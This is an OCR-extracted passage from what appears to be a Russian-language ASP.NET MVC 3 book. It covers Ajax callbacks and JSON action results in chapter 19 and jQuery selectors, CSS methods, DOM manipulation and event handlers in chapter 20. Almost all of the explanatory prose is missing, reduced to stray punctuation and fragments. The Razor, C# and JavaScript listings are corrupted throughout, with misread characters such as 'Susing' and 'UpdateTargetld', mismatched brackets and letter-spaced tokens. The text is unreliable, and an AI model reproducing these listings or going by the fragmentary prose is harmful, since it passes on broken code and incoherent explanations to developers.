DateTime.P a r s e ("2/25/2013"))

if (!string.IsNullOrEmpty(id) && id != "All") {


data = data.Where (e => e.ClientName == id);
}
return view(data);
}

558

II. ASP.NET MVC 3

Ajax
A ja x O p tio n s , JavaScript,
Ajax. 19.2.

19.2. A ja x O p tio n s

jQuery

OnBegin

beforeSend

OnComplete

complete

OnFailure

error

OnSuccess

success

,
,

AjaxOptions Ajax,
j Query. jQuery . 19.2
, jQuery.
, , :
h t t p : / / a p i . j q u e r y . /jQ u e r y . ajax
Ajax
JavaScript-, .
_L ay o u t. cshtml script . 19.14.

19.14. JavaScript-
< !DOCTYPE html>
<html>
<head>
< title>@ViewBag,Title</title>
clink href="@Url.Content("-/Content/Site.css")" rel="stylesheet" type="text/css" f>.
Cscript s r c = "@ U rl.C o n te n t("'/S c r ip ts/jq u e r y - 1. 4 . 4 .m in.j s " )"
...................
t y p e = " t e x t ; : a v a s c r i p t " > < J scr i p t >
c s c r i p t s r c = @ U r l . C o n t e n t (" - / S c r i p t s / j q u e r y .u n o b t r u s i v e - a j a x . m i n .js )
type="text/javascript "></script>
<script type="text/javascript">
f unction OnBegin() {
a l e r t ( " T h i s is the O n B e g i n C a l l b a c k " ) ;

}
function OnSuccess(data) {
a l e r t ( " T h i s is the O n S u c c e s s C a l l b a c k :

" + data) ;

)
f u n c t i o n O n F a i l u r e ( r e q u e s t , error) {
a l e r t ( " T h i s is th e O n F a i l u r e C a l l b a c k : " + e r r o r ) ;

}
function OnComplete(request,

status)

a ie r t ( " T h i s is the O n C o m p l e t e Ca l l b a c k :

}
</script>

c/head>

+ status),

19. Ajax

559

<body>
SRenderBody()
</body>
</html>
.
,
.
AjaxOptions ( 19.15).

19.15. A ja x O p tio n s
@model string
@{
V ie w B a g . T i t l e = " I n d e x " ;
AjaxOptions ajaxOpts = new AjaxOptions {
UpdateTargetld = "tabledata",
Url = Url.Action("AppointmentData"),
LoadingElementld = "loading"
};
}
<h4>Appointment List</h4>
< d iv i d = " l o a d i n g " s t y l e = " d i s p l a y : n o n e ; c o l o r : R e d ; f o n t - w e i g h t : bo ld ">
<p>Loading D a t a . . .</p>
</div>
Susing (Ajax.BeginForm(ajaxOpts)) {
<table>
<thead>
<th>Client Nane</th>
<th>Appointment Dates</th>
</thead>
<tbody id="tabledata">
SHtml.A c t i o n ("AppointmentData", new { id = Model })
</tbody>
</table>
<p>
SHtml.DropDownList ("id", new SelectList (
new [] { "All", "Joe", "Jane", "Bob" }, (Model ?? "All")))
<input type="submit" value = "Submit" />
</p>
}
Sforeach (string str in new [] { "All", "Joe", "Jane", "Bob" )) (
<div style="margin-right:5px; float:left">
@Ajax.ActionLink (str, "Index", new { id = str ),
new AjaxOptions {
UpdateTargetld - "tabledata",
LoadingElementld = "loading",
Url = Url.Action ("AppointmentData", new { id = str)),
OnBegin = "OnBegin",
OnFailure = "OnFailure",
OnSuccess = "OnSuccess",
OnComplete = "OnComplete"

))
</div>

560

II. ASP.NET MVC 3

,
Ajax- , . 19.6.

. 19.6. Ajax

, Ajax,
. JavaScript-
, : HTML DOM,
..
JSON-, .

JSON
Ajax, ,
h t m l . ,
,
, - , JSON. JSON
(JavaScript Object Notation JavaScript)
. JavaScript,
. 19.16
Appointment, JSON.

19.16. JSON- A p p o in tm e n t
{"ClientName":"Joe","Date":"1/1/2012","TermsAccepted":false}

, . JSON
/
, . JSON ,
19.17.

19.17. JSON- A p p o in tm e n t
[("ClientName":"Joe","Date":"1/1/2012","TermsAccepted":false},
{"ClientName":"Joe","Date":"2/1/2012","TermsAccepted":false},
{"ClientName":"Joe","Date":"3/1/2012","TermsAccepted":false}j

19. Ajax

561

X" Ajax XML,


. JSON
XML Aj . JSON , ,
, JavaScript,
. ,
JSON Ajax- MVC Framework.

JSON
MVC Framework ,
JSON, HTML. 19.18.

19.18. , JSON
public JsonResult JsonData(string id) {
IEnumerable<Appointment> data
new Appointment { ClientName
new Appointment { ClientName
new Appointment { ClientName
new Appointment { ClientName
new Appointment { ClientName
new Appointment { ClientName
new Appointment { ClientName

=
=
=
=
=
=
=
=

new[] {
"Joe",
"Joe",
"Joe",
"Jane",
"Jane",
"Bob",
"Bob",

Date
Date
Date
Date
Date
Date
Date

=
=
=
=
=
=
=

DateTime.P a r s e ("1/1/2012") ),
DateTime.Parse ("2/1/2012") ),
DateTime.Parse ("3/1/2012") },
DateTime.Parse ("1/20/2012")),
DateTime.Parse ("1/22/2012")),
DateTime.Parse("2/25/2012")},
DateTime.P a r s e ("2/25/2013")}

};
if (!string.IsNullOrEmpty(id) S S id != "All")
data = data.Where (e => e.ClientName == id);

}
var formattedData = d a t a .Select (m => new {
ClientName = m.ClientName,
Date = m.Date.ToShortDateStringO

}) ;
return Json

(fo rm atted D ata,

J s o n R e q u e s tB e h a v io r .A llo w G et)

,*

>

JsonData,
Jso n R esu lt ( 12). Json R esu lt
Json ,
JSON:
return Json(formattedData, JsonRequestBehavior.AllowGet);

A llo w G e t JsonRequest
Behavior. JSON
POST, , Json,

MVC Framework, GET.


J s o n R e q u e s t B e h a v i o r . A l l o w G e t , 6
. - ,
, JSON-,
G E T . J s o n R e s u l t
g e t . , .. JSON-
P O S T . . h t t p : / / h a a c k e d . / a r c h i v e / 2 0 0 9 / 0 6 / 2 5 /

j s o n - h i j a c k i n g .a s p x ,

562

II. ASP.NET MVC 3

, H T M L
A p p o in tm e n t ,
, LINQ:
v a r fo rm a tte d D a ta = d a t a . S e le c t ( m => new {
C lie n tN a m e = m .C lie n tN a m e ,
Date = m. D a t e . T o S h o r t D a t e S t r in g ()
}>;
. ,
T e rm sA c c e p te d , ,
.
J S O N -. M V C Framework D ateTim e
J S O N ,
A p p o in tm en t:
( " C lie n tN a m e " : " J o e " ," D a t e " : " / D a t e (1 3253 7 6 0 0 0 0 0 0 )/ " , " T e rm sA c c e p te d " : f a l s e )
A p p o in tm e n t J so n .
J S O N -,
.
JavaScript- D ate .
,
, .
, U R L . ,
J S O N - A p p o in tm e n t C lie n tN a m e .
J o e , U R L h t t p : / / l o c a l h o s t : 12 2 3 9 /
A p p o in t m e n t / J s o n D a t a / J o e . M V C Framework
J S O N : ,
, .
J S O N - Google Chrome, JSON
(. 19.7). , Internet Explorer Firefox.
J S O N - .

. 19.7. JSON- Google Chrome

JSON
J S O N -, M V C Framework JavaScript- O nS uccess
A ja x O p t io n s , 19.19.

19.19. A ja x O p t io n s
Sforeach (string str in n e w [] { "All", "Joe", "Jane", "Bob" )) {
<div style="margin-right:5px; float:left">
@Ajax.ActionLink(str, "Index", new { id = str ),

19. Ajax

563

new AjaxOptions {
LoadingElementld = "loading",
Url = Url .Action ("JsonData", new { id = str }),
OnSuccess = "OnSuccess",

})
</div>

}
: U p d a t e T a r g e t l d .
, ,
HTML. JavaScript-,
JSON HTML-, .
s c r i p t , .

JSON Ajax,

19.20

19.20. JS0N JavaScript-


<script type="text/javascript">
function OnSuccess(data) {
var target = $('#tabledata');
target.e m p t y ();
for (var i = 0; i < data.length; i++) {
target.a p p e n d ('<tr><td>' + d a t a [i ].ClientName + '</td><td>'
+ data [i] .Date + 1< / t d x / t r > ') ;

}
}
</script>

JavaScript-, JSON-,
. ,
HTML- JSON-
D O M .
jQuery; 20.
,
JSON . -,
, .
. -,
: HTML
JSON-,
JavaScript, .
,

Ajax
JSON- HTML-
. , Ajax-,
JSON, HTML- ( ).
19.21 , A p p o i n t m e n t D a t a .

19.21. JS0N- HTML-


public ActionResult AppointmentData(string id) {
IEnumerable<Appointment> data = n e w [] {
new Appointment ( ClientName = "Joe", Date = DateTime.P a r s e ("1/1/2012)),
new Appointment { ClientName = "Joe", Date = DateTime.P a r s e ("2/1/2012")),

564

II. ASP.NET MVC 3


new
new
new
new
new

Appointment
Appointment
Appointment
Appointment
Appointment

{
{
{
(
{

ClientName
ClientName
ClientName
ClientName
ClientName

=
=
=
=
=

"Joe",
"Jane",
"Jane",
"Bob",
"Bob",

Date
Date
Date
Date
Date

=
=
=
=
=

DateTime.P a r s e ("3/1/2012")),
DateTime.P a r s e ("1/20/2012")},
DateTime.Parse ("1/22/2012")},
DateTime.P a r s e ("2/25/2012")},
DateTime.P a r s e ("2/25/2013")}

};
if (!string.IsNullOrEmpty(id) && id != "All") {
data = data.Where (e => e.ClientName ~ id) ,-

)
if (Request.IsAjaxRequest()) {
return Json(data.Select(m => new {
ClientName = m.ClientName,
Date = m . D a t e .ToShortDateString()
}) , JsonRequestBehavior.AllowGet);
) else (
return View(data);

Is A ja x R e q u e s t , )-.
, H ttpRequestBase
-.

JSON-
JSON- ,
. MVC
Framework JSON-,
, 17. 19.22
, jQ uery-, JSON-
.

19.22. JSON-
@model A p p o i n t m e n t
<script

ty p e = "tex t/ja va s crip t">

$ (docum ent). r e a d y (fu n c tio n

()

5 ( ' fo rm ') . subm it(fu nction

{
(e)

e .p re v e n tD e fa u lt ();
var

appointm ent

C lien tN am e: $ ( ' #ClientN am e' ) . v a l (),


Date:

$ ( 1# D a t e 1 ) . v a l ( ) ,

TermsAccepted: $ ( ' #Term sAccepted') . i s ( ' : c h e c k e d ')


};
S. aj ax ({
u rl:

' @ U rl.A c tio n ("In dex") ',

typ e:

' POST',

d a t a : JSON. s t r i n g i f y ( a p p o i n t m e n t ) ,
dataType:

' j s o n 1,

processData:

false,

ContentType:

'a p p lic atio n /js o n ;

success:

fun ction

(data)

c h a r s e t = u t f - 8 1,

$ ( ' # c lie n t t a r g e t ' ) . t e x t ( d a t a .C lientN am e);

19. Ajax

565

$('#datetarget').text(data.Date);
$('#termstarget') .text (data.TermsAccepted);
$('#results') .show ();

},
}) ;
}) ;
});
</script>
<h4>Create Appointment</h4>
Susing (Html.B eginForm()) {
@Html.EditorForModel()
Cinput type="submit" value="Submit" />

}
<div id="results" style="display:none">
Here is the appointment you created:
<p>ClientName: <span id="clienttarget"/x/p>
<p>Date: <span id="datetarget" /></p>
<p>Terms Accepted: <span id="termstarget" /></p>
</div>

Ajax MVC Framework


, jQuery.
Submit HTML- JSON,
POST. JSON
HTML.
COBG T.

JSON. stringify,
. ,

Internet Explorer 7 ,

, j s o n 2 . j s h t t p : / / g i t h u b . /
d o u g l a s c r o c k f o r d / J S O N - j s.

: 20-
jQuery, ,
JSON.
JSON- ,
. 19.23 ,
JSON jQuery.

19.23. JSON
p u b lic c la s s HomeController : C o n t r o l l e r (
public ActionResult I n d e x () {
return View(new Appointment 0) ;

}
[HttpPost]
public ActionResult Index(Appointment app) {
if (Request.IsAjaxRequest()) (
return Json(new {
ClientName = app .ClientName,

566

II. ASP.NET MVC 3


Date = a p p .Dat e .ToShortDateString(),
TermsAccepted = a p p .TermsAccepted
}> ;
} else {
return V i e w ();
}
}

-
J S O N . Appointment
J S O N .
Appointment J S O N Json,
.

JavaScript
M V C Frapiework Ajax.
M V C Framework Ajax
jQuery, JavaScript-
, jQuery.
Ajax,
jQuery , J S O N -,
, JavaScript-
, . ,
jQuery.

20

j Query

, jQuery, JavaScript-

,
2 0 0 6 . -
, .
C S S 3 D O M ,
API- D O M
Ajax
.
Microsoft jQuery M V C Framework.
Ajax,
, jQuery.
j Query ,

,
JavaScript. ,
, , JavaScript,
M V C Framework.
jQueiy M V C Framework.
M V C F ram ew ork ,
j Query. , ,
jQueiy - www.jquery.com.
jQuery.
JavaScript ( ", 20 1 0 .).


jQuery
M V C Framework, .
jQuery ,
Razor H T M L, .
20.1.

20.1. I n d e x . c s h t m l
@using Mvc A p p .Models;
0model IEnumerable<Summit>
@{
ViewBag.Title = "List of Summits";
}
<h4>Summits</h4>

568

II. ASP.NET MVC 3

<table>
<thead>
<tr><th>Name</th><th>Height</thxth></ t h x / t r >
</thead>
Sforeach (Summit s in Model) (
<tr>
<td>@s .Narae</td>
<td>@s.Height</td>
<td>
0using (Html.BeginForm("DeleteSummit", "Home"))
@Ht m l .H i d d e n ("name", @s .Name)
<input type="submit" value="Delete" />

)
</td>
</tr>
)
</table>
SHtml.ActionLink("Add", "AddSummit")
Susing (Htrjl.BeginForm ("ResetSummits" , "Home"))
<input type="submit" value="Reset" />
}

Summit
Name () Height ().
, ,
H T M L -, 20.2.

2 0 .2 . HTML-,
<!DOCTYPE html>
<html>
<head>
<title>List of Summits</title>
<link href="/Content/Site.css" rel="stylesheet" type="text/css" />
< script src="/Scripts/jquery-1.5.1.min.js" type="text/javascript"x/script>
</head>
<body>

<h4>Summits</h4>
<table>

<thead>

< tr X t h > N a m e < /t h X th > H e ig h t < /th X t h X /th X /t r >

</th ead>

<tr>
<td>Everest</td>
<td>8848</td>
<td>

<form action "/Home/DeleteSummit" method="post">


<input id="name" name="name" type="hidden" value="Everest" />
<input type="submit" value="Delete" />
< /form>
</td>
</tr>
<tr>
<td>Aconcagua</td>
<td>6962</td>
<td>

20. jQuery
< fo rm

a c tio n = " /H o m e /D e le te S u m m it"

< in p u t

id = " n a m e "

nam e="nam e"

< in p u t

ty p e = " s u b m it"

569

m e th o d = "p o s t">

ty p e = " h id d e n "

v a lu e = " D e le te "

v a lu e = "A c o n c a g u a "

/>

/>

< / fo rm >
< / td >
< /tr>
. . .

t r . . .

< /ta b le >


<a h re f= " /H o m e /A d d S u m m it" > A d d < /a >
< fo rm

a c tio n = " /H o m e /R e s e tS u m m its "

< in p u t

ty p e = " s u b m it"

m eth o d = "p o s t">

v a lu e = "R e s e t"

/>

< /fo rm >


</body>
< /h tm l>

.
. 20.1 , HTML-
.
, Visual Studio, a Internet Explorer 9.

jQuery
MVC Framework,
Visual Studio, jQuery,
/ S c r i p t s . ,
, .
. 20.1.
. 20.1. H T M L - -

20.1. jQuery,
Visual Studio MVC Framework

j q u e ry - 1 . 5. l . j s
jq u ery-1 .5 .1 .m in .js


jQuery

jq u e r y - u i.js
jq u e ry -u i.m in .js

jQuery
Ul. . jQuery Ul

jq u e ry -u n o b tru s iv e -a j a x .j s
j qu ery-u n obtru sive-aj ax .min.j s

,
Ajax (. 19)

jq u e r y - v a lid a t e .js
jq u e r y - v a lid a te .m in .js


(. 18)

j Query-1.5 .1-vsd oc.j s


j 2 e t y - v a lid a t e - v s d o c . j 5

IntelliSense
. . jQuery

: .
, .
JavaScript ,
. jQ uery
JavaScript.

570

II. ASP.NET MVC 3

. - /Scripts ,
Microsoft , MicrosoftAjax.js. MVC Framework 2,

Microsoft jQuery ASP.NET MVC.


, .. MVC Framework
.
JavaScript-.
, .
,
. ,
.

jQuery
Visual Studio MVC Framework jQuery
1.5.1. MVC Framework , jQuery.
1.6.1, , ,
. jQuery, (
T o o ls O L ib ra ry Package M anager (^ )

Update-Package jquery

jQuery
. /Views/Shared/_Layout.cshtml,
, ,
<script src="@Uri.C o n t e n t ( / Scripts/jquery-1.5.1.m i n .js")" ...

< script src="@Url.Content("'/Scripts/jquery-1.6.1.min.jS")" ...


, jQueiy.
ASF3.N E T M V C 3 j Query
~/Views/Shared/_Layout.cshtml,
20.3.
2 0 .3 . jQ uery _ L a y o u t . c s h t m l
<!DOCTYPE html>
<html>
<head>
<title>@ViewBag.Title</title>
<link href="@Url.Cont e n t ("'/Content/Site.css")"
rel="stylesheet" type="text/css" />
<script src="@Url.Content("-/Scripts/jquery-1.5.1.min.js")"
type="text/javascript"></script>
</head>
<body>
0RenderBody ()
</body>
</html>

20. jQuery

571

jQuery ,
, script ,
, .

. - jQuery
(CDN). " CDN JavaScript
18.

jQuery-
jQuery .
IntelliSense Visual Studio,
jQueiy, , IntelliSense #,
.
-/Scripts jquery-1.5 .1-vsdoc.js. jQuery
IntelliSense ,
, script , 20.4.

20.4. IntelliSense jQuery


<head>
< title > @ V ie w B a g .T itle < /title >
d i n k h re f= "@ U rl. C o n t e n t ( " - / C o n t e n t / S i t e . c s s " )" r e l= " s t y le s h e e t "
t y p e = " t e x t / c s s " />
< s c r i p t s r c = " @ U r l . C o n t e n t ( " - / S c r i p t s / j q u e r y - 1 . 5 . 1 . m i n . j s " )"
ty p e = " te x t/ ja v a s c rip t" > < /s c rip t>
@if (false) {
<script s rc = " . . . /Scripts/jquery-1.5.l-vsdoc.js"
^
ty p e = " te x t/ ja v a s c rip t" X /s c rip t>
</head>

, .. ,
Visual Studio, Razor if,
false. ,
Visual studio , jQ u eiy IntelliSense.
.
script jQuery , C# (. 20.2).

. 2 0 .2 . IntelliSense jQuery Visual Studio

572

II. ASP.NET MVC 3

, script
, IntelliSense jQuery.
, , .
. .
IntelliSense, j Query.

jQuery
j Query Visual Studio.
, ,
. jQuery,
, .

. Google Chrome Mozilla Firefox.
Internet Explorer,
IE9, , Chrome Firefox.

Firefox
JavaScript
Firefox Firebug. Firebug
, Firefox
HTML.
C S S JavaScript. JavaScript,
JavaScript- -.
, jQuery.

Firefox, Firebug (
h t t p :/ / g e t f i r e b u g .com) HTML-,

. ,
MVC Framework.
Firebug , . 20.3.

. 2 0 .3 . Firebug Firefox

20. jQuery

573

Console () Enable (),


. -,
jQuery, jQuery
. ,
jQuery, JavaScript,
20.5 ( ).

20.5. jQuery -
va r s=document. cre a te E le m e n t( ' s c r i p t 1) ;
s . s e t A t t r i b u t e (1s r c ', 'h t t p ://jquery.com/src/jquery-latest. j s ') ;
document. g e t E l eme n t s B y T a g N a me ( ' b o d y ' ) [ 0 ] . a p p e n d C h i l d ( s ) ;

s c r ip t j Query.
. (bookmarklet)

www. le a r n i n g j q u e r y . com/2006/12/jq u e r ify - b o o k m a r k le t .

URL, j Query, .
- h ttp://jqu ery.com ,
URL, Microsoft CDN jQuery.
MVC Framework.
jQuery (
JavaScript) . ,
Microsoft, jQ uery
jQ u e ry ('a ') .h id e (). jQ u eiy ,
<Enter>, jQuery -
(. 20.4).

. 2 0 .4 . -

574

II. ASP.NET MVC 3

, ,
Firefox Firebug ,
j Query.

Chrome
, , Chrome, , Firebug,
.
JavaScript. Firebug, Firebug
Lite Firebug Firefox, .
- Chrome Customize and Control
Google Chrome ( Google Chrome)
Tools^JavaScript Console (^ JavaScript).
: -
<Ctrl+Shift+J>. . 20.5.

. 2 0 .5 . JavaScript- Chrome
j Query .
-, jQuery,
, 20.5.

jQuery
j Query JavaScript- jQuery().
(D O M ), H T M L , C S S -.
; jQuery ("DIV.MyClass") D O M div, CSS
MyClass.
j Q u e r y O jQuery: jQueiy.
, ,
. API- j Query
. ,
jQuery("DIV.MyClass").hide() ,
div. jQuery $(), -

20. jQuery

575

, jQueryQ. . 20.2
.

20.2. jQuery

$ (" SPAN").addClass ("SuperBig")

CSS- SuperBig
<span>, <>

$ (".SuperBig").
removeClass("SuperBig")

C SS- SuperBig
,

$ ("#options") .toggle ()


options: ,
, ,

$ ("DIV:has (INPUT [
type='checkbox' ] :disabled) " ) .
prepend("<i>Hey!</i>")

HTML- <i>Hey!</i>
div,

$("#options A").
css ("color", "red") .fadeOutO

(..
<>),
options,
,

jQuery , ,
, JavaScript-.
. j Query,
.

jQuery
j Query .
, jQuery,
. 20.6 jQuery.

20.6. jQuery
$ ("th").toggle()
th th.
toggle. . 20.1,
. jQuery H T M L -,
,
( ). 2 0 .6
, . 20.3.

20.3. jQuery

$('*)

$('.myclass')

, CSS- myclass

$('element')

element

$('#myid')

myid

576

II. ASP.NET MVC 3

jQ uery .. ,
HTML DOM. $('#id'),
,
. , :
$('td', myElement)

td, myElement.
20.17.


jQuery- JavaScript- MVC Framework,
, HTML .
:
0Html.TextBox("pledge.Amount")
:
<input id="pledge__Amount" name="pledge.Amount" type="text" value="" />
: pledge .Amount ( ),
pledge_Amount ( ).
.
jQuery $("#pledge_Amount").
$("#pledge.Amount") , .. jQuery ( CSS)
pledge CSS- Amount.

,
, 20.7.

20.7.
$('td, th')

DOM td th.
, , 20.8.
2 0 .8 .
?('td input')

input, td.
, Delete,
, Reset .


.
, .
. 20.4.

, .
. 20.9.

577

20. jQ uery
2 0 .4 . jQuery

$ ( ' [ a t t r ] ')

attr,

$ ( ' [ a t t r ] = " v a l " ')

attr

$ ( ' [a ttr ] ! = " v a l " ' )

attr

$ ( ' [ a t t r ] '' " v a l " ')

attr


val
val

val

$ ( ' [ a t t r ] ~ = " v a l " ')

attr

$ ( '[ a t t r ] $ = " v a l '" )


v a l

attr

$ ( ' [a ttr ] | = " v a l " ' )

a t t r ,
v a l (v al- )

val

val

20.9.
$ ( ' [ t y p e ] [ v a l u e = " D e l e t e " ] ')

t y p e (
) v a l u e D e l e t e .
,
.

D elete,

jQuery
, jQueiy
.
20.10.

20.10.
$ ( ' t d : e q (8 ) ' )

:e q (8 );

, (
). . 20.5.

20.5. jQuery

:e q (n )

:e v e n
:o d d

:f i r s t

(n

1)-

:l a s t
:g t ( n )

:l t ( n )
:h e a d e r
:not

()

19 . 4039

,
,

578

II. ASP.NET MVC 3

,
20.10, , 20.11.

20.11.
$(':header')
:header, .
(*).
,
(5('hl h2 h3')), . ,
, 20.12.

20.12.
S ( ' t d :o dd :e q (1)')

td,
, .


, . 20.6.
,
.

20.6. jQuery

:c o n ta in s ( 't e x t ' )

, t e x t
t e x t

: h a s ( 's e le c t o r ')

, ,

s e l e c t o r
: e m p ty

:p a re n t

:fir s t- c h ild

:la s t - c h ild

:n t h - c h ild ( n )

n -

:o n ly - c h ild

: c o n t a i n s ,
, , ,
. , H T M L , ,
$ (' :contains ("2") ')
: t d , ,
( t r , t b o d y , t a b l e , b o d y h t m l) .

20. jQuery

579

! CSS nth-child
. ,
, :nth-child(l), :nth-child(0).


, ,
, HTML-.
. 20.7.

20.7. jQuery

:button

button input button

:checkbox

:checked

:disabled
:enabled ,

, ,

:input

input

:password

password

:radio

:reset

input reset

:selected

option

rsubmit

input submit

:text

input text

jQuery
jQuery, .
, .
jQueiy, t o g g l e , jQuery
.
. ,
jQueiy, h t t p : / / j q u e r y . c o m .

D0M
.
jQuery-
MVC Framework. 20.13 ,
jQuery.

20.13.
g u s i n g M v c A p p .M o d e l s ;

@model I E n u m e r a b l e < S u m m i t >

ViewBag.Title = "List of Summits";


)

580

II. ASP.NET MVC 3

S if (false) (
< script src ="../../Scripts/jquery-1.5.1-vsd o c .js"
type="text/j avascript"></script>
)
<script type="text/javascript">
$ (document).ready(function () {
//

jQ u e x y -

)) ;
</script>
<h4>Summits</h4>
<table>
<thead>
<trxth>Nam e</th><th>Height</thx/tr>
</thead>
Sforeach (Summit s in Model) {
<t r >
<td>@s. Name</td>
<td>@s. Height</td>
<td>
Susing (Html. BeginForm("DeleteSummit", "Home"))
@Html.H i d d e n ("name", 0s.Name)
<input type="submit" value="Delete" />
)
</td>
</ 1 r >
)
</table>

SHtml.ActionLink ("Add", "AddSummit")


@using (Html. BeginForm("ResetSummits", "Home"))
<input type="submit" value="Reset" />
)

script ,
.

.
. jQuery, ..
(. 20.3). v s d o c ,
IntelliSense.

$ (document).ready .
. jQuery- D O M ,
( ). .
, ,
, ,
. $(document) .readyO
.

20. jQuery

581

jQuery-, CSS
j Query C SS. jQuery-,
CSS, . 20.14
jQuery C S S H T M L table.

20.14. jQuery-, CSS


Susing Mvc A p p .Models;
Smodel IEnumerable<Sunrait>
@{
ViewBag.Title = "List of Summits";
}
@if (false) {
<script src=". ./. ./Scripts/jguery-1.5.1-vsdoc.js"
type="text/j avascript"></script>
}
<script type="text/j avascript">
$ (document)., ready (function () {
$ ( 'table ') .addClass (' suirnnitTable 1) ;
$ ( 1t r :e v e n ') .c s s ('background-color', 1silver') ;
$(' :submit[value="Reset"] , a :contains("Add") ')
.css('float', 'left')
.c s s ('m a r g i n ', '5 p x ');
}) ;
</script>
<h4>Summits</h4>
<table>
<thead>
<tr><th>Name</th><th>Height</th><th/x/tr>
</thead>
0foreach (Summit s in Model) (
< t r>
<td>@s.Name</td>
<td>0 s .Height</td>
<td>
0using (Html. BeginForm("DeleteSummit", "Home"))
0Htmi.H id d e n ("name", @s.Name)
<input type="submit" vaiue="Deiete" />
}
</td>
< / tr >

}
</table>
SHtml.ActionLink("Add", "AddSummit")
using (Html.BeginForm("ResetSummits", "Home"))
<input type="submit" vaiue="Reset" />
}

.
jQueiy-,
.

582

II. ASP.NET MVC 3

, CSS. :
5('tab l e ').addClass('summitTable');

addClass CSS-
table. summitTable Site.css
:
. su m m itT a b le

{
border: thin solid black;
margin: 5px;
}

addClass , summitTable:
, class:
<table class="summitTable">

(zebra strip
ing) :
$ (' t r :e v e n ') .css ('background-color', 'silver')

css ,
silver background-color.

tr . ,
0, 2, 4, 6 ..

<tr style="background-color: silver; ">

__________________________ jQuery-
jQ uery-
. , css ,

$('tr:first').css('background-color')

background-color.
, :
$ ( ' t r ' ) . c s s ( ' b a c k g r o u n d - c o l o r ' , $ ( ' t r : f i r s t ' ) . c s s ( ' b a c k g r o u n d - c o l o r ' ))
t r , t r ,

jQ uery-:
$(':submit[value="Reset"], :contains("Add")')
.c s s (1float', 'left')
.c s s ('margin ', '5px');

:
Ad d Reset. ,
css ,
. A P I-
(fluent A P I), .
jQuery- jQuery,
. , CSS.

20. jQuery

583

. 20 .8 , CSS,
jQuery.

20.8. jQuery-, CSS

a d d C l a s s ('myClass')

class

hasClass('myClass')

true,

r e m o v e C l a s s CmyClass')

class

toggleClass('myClass')

, ,

cssCproperty',

'value')

C S S D O M ,
jQuery H T M L ; jQuery
" jQuery. . 20 .6
CSS, 20.14.

. 20.6. jQuery CSS

. , ,
: heightO, width() position().
jQuery API.

D0M
D O M jQuery ,
. , D O M ,
D O M .
, jQuery
D O M , API
. 20 .15
D O M jQuery ,
.

584

II. ASP.NET MVC 3

2 0 .1 5 . DOM
<script type="text/javascript">
$ (document).ready(function () (
$('tab l e ').a ddClass(1summitTable');
$('t r :e v e n 1).c s s ('background-color1, 1silver');
$ ( 1:submit[value="Reset"], a :contains("Add") 1)
.c s s (1float', 'le f t ')
.css('m a r g i n ', '5p x 1);
$('th:nth-child(2) ') .t e x t ('Height (m) ').af t e r ('<th>Height (ft)</th>) ;
$('td:nth-child(2))
.a f t e r (< t d / > ')
.each (function () {
$ (this).n e x t ().t e x t ((parselnt($(this).t e x t ()) * 3 . 2 8 ) . toFixed(0));
;
)) ;
</script>
, jguery
, . :
$ ( ' t h : nth-child( 2 ) ' ) . t e x t ( ' Height (m)' ) . a f t e r ( ' <th>Height ( f t ) < / t h > ' ) ;
th,
. th H T M L
, Height. text
Height (). ,
.
a fter , .
after , :
th Height (ft).
after
. th.
. jQueiy :
$ ( ' td: nth-child (2) ')
. a f t e r ( 1< t d / > 1)
. each(function ()

)) ;
td,
. td
Height ( Height (m)).
each,
, .
:
$ ( t h i s ) . n e x t ( ) . t e x t ( (parselnt ($ ( t h i s ) . text ()) * 3 . 2 8 ) . t o Fi x ed ( 0 ) ) ;
$(this) ,
. ,
each, , a this
, .
jQuery-, .
this td.

20. jQuery

585

next, ,
, , .
. text,
td .
(1 3,28 ).
. 20.7.

. 20.7. jQuery
. -,
jQuery- D O M : after next
D O M . -,
. jQuery,
, . 20 .16 ,
.

20.16. Sum m its


$('t h :nth-child(2)').text('Height (m)').a f t e r ('<th>Height (ft)</th>');
$('td:nth-child(2)1) .each(function () {
var height = (parselnt($(this).t e x t ()) * 3.28).toFixed (0);
$ ( '<td/>').insertAfter($(this)).text(height).c s s ('border', 'thin solid red');
}) ;
, .
after.
, . , after,
. 2 0 .1 6
insertAfter, , after,
.. ,
( jQuery,
insertAfter). ,
.
C S S - (. 20.8).
jQuery ,
,
. . 20 .9
jQuery- D O M , ,
j Query API.

586

II. ASP.NET MVC 3

. 2 0 .8 .

20.9. jQuery- DOM

b e f o r e ( 'n e w ')

new

a f t e r ( 'n e w ')

b e f o r e a f t e r ,
, ..
. . 20.16

i n s e r t B e f o r e ()
i n s e r t A f t e r ()

p r e p e n d ( 'n e w ')

n e w

a p p e n d ( 'n e w ')

appendToO

p r e p e n d a p p e n d ,
, ..

e m p t y ()

rem oved

DOM

p r e p e n d T o ()

a t t r ( 'n a m e ',

'v a l ')

r e m o v e A t t r (' n a m e ')

n a m e
; ,

nam e

val

, jQuery DOM.
. 20.10.

20.10. jQuery- DOM

c h i l d r e n ()

nextO

p r e v ()

parentO

sib ilin g sO

-
, .

20. jQuery

587

jQuery
j Query ,
JavaScript, ,
. 20.17.

20.17. jQuery
<script typ e="text/jav ascrip t">
5 (document). ready(function () (
$ ( 1t a b le ') . ad dC lass( ' summitTable') ;
$ ( ' t r : even' ) . c s s ( ' background-color' , ' s i l v e r ' ) ;
$ ( ' : subm it[value="Reset"], a:co n ta in s("A d d ") ')
. css ( ' f l o a t 1, 'l e f t ')
. c s s ( 'm argin', ' 5p x' ) ;
$ ( 1t h :n th-child(2)1) .text('Height (m)1).a f t e r ('<th>Height (ft)</th>');
$ ( t d :n t h - c h ild (2 )')
. a f t e r ( ' < t d /> ')
. e ach (function () {
$ (this) . next () . t e x t ( (parselnt( $ (this) . t e x t ()) * 3 . 2 8 ) . to F ix ed ( 0 ) ) ;
)) ;
$(' form[action$="/DeleteSummit"] 1). submit (function () (
var summitName = $(':hidden', this).a t t r ('value');
return confirm('Are you sure you want to delete ' + summitName + ' ? ) ;
>> ;
});
</script>
submit, ,
. ,
action /DeleteSummit , H T M L , .
, , , .
true, , false, .
confirm,
(. 20.9).

. 2 0 .9 .

588

II. ASP.NET MVC 3

, ,
, . ,
form.
jQueiy submit,
j Query. jQuery
JavaScript;
jQuery API.

jQuery
j Query ,
. jQuery UI (. ),
,
. 20 .18 ,
.

20.18. jQuery
<script t^pe ="te xt/jav a sc rip t">
$ (document) .ready (function () {
$ ('table') .addClass('summitTable1);
$('tr:even').c s s ('background-color', 1silver');
$(':submit[value="Reset"], a :contains("Add")')
.c s s (1float', 'left')
.c s s ('m a r g i n ', '5 p x ');
$ ( ' <th>Height ( f t ) < / t h > ' ) . i n s e r t A f t e r ( ' t h : n t h - c h i l d ( 2 ) ' ) . a d d C l a s s ( " h e i g h t F t " ) ;
